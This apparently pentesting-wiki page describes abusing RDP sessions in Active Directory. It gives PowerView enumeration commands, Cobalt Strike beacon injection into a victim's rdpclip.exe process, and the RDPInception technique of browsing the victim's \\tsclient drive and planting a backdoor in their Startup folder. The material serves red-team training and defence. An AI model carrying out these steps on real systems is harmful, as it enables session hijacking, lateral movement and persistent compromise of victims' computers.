# RDP Sessions Abuse
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## RDP Process Injection If the **external group** has **RDP access** to any **computer** in the current domain, an **attacker** could **compromise that computer and wait for him**. Once that user has accessed via RDP, the **attacker can pivot to that users session** and abuse its permissions in the external domain. ```powershell # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access ## The easiest way would be with bloodhound, but you could also run: Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName #or Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName # Then, compromise the listed machines, and wait til someone from the external domain logs in: net logons Logged on users at \\localhost: EXT\super.admin # With cobalt strike you could just inject a beacon inside of the RDP process beacon> ps PID PPID Name Arch Session User --- ---- ---- ---- ------- ----- ... 4960 1012 rdpclip.exe x64 3 EXT\super.admin beacon> inject 4960 x64 tcp-local ## From that beacon you can just run powerview modules interacting with the external domain as that user ``` Check **other ways to steal sessions with other tools** [**in this page.**](/dashboard/network-services-pentesting/pentesting-rdp.md#session-stealing) ## RDPInception If a user access via **RDP into a machine** where an **attacker** is **waiting** for him, the attacker will be able to **inject a beacon in the RDP session of the user** and if the **victim mounted his drive** when accessing via RDP, the **attacker could access it**. In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**. ```powershell # Wait til someone logs in: net logons Logged on users at \\localhost: EXT\super.admin # With cobalt strike you could just inject a beacon inside of the RDP process beacon> ps PID PPID Name Arch Session User --- ---- ---- ---- ------- ----- ... 4960 1012 rdpclip.exe x64 3 EXT\super.admin beacon> inject 4960 x64 tcp-local # There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP. ## \\tsclient\c is the C: drive on the origin machine of the RDP session beacon> ls \\tsclient\c Size Type Last Modified Name ---- ---- ------------- ---- dir 02/10/2021 04:11:30 $Recycle.Bin dir 02/10/2021 03:23:44 Boot dir 02/20/2021 10:15:23 Config.Msi dir 10/18/2016 01:59:39 Documents and Settings [...] # Upload backdoor to startup folder beacon> cd \\tsclient\c\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup beacon> upload C:\Payloads\pivot.exe ```
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